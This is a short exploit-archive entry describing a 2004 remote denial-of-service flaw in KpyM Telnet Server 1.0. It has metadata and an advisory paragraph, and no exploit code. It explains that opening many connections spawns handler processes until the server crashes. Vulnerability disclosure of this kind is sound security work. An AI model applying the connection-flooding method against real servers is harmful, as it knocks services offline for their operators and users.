Description: Kroum Grigorov KpyM Telnet Server 1.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-01-07
Author: NoRpiuS

// source: https://www.securityfocus.com/bid/9379/info

KpyM Telnet Server has been reported to be prone to a remote denial of service vulnerability. Due to a lack of resource limitations, a remote attacker may negotiate multiple connections to the affected server. This will cause multiple instances of the a terminal handler executable to be spawned and ultimately, over time, an access violation will be triggered in the KpyM Telnet Server.
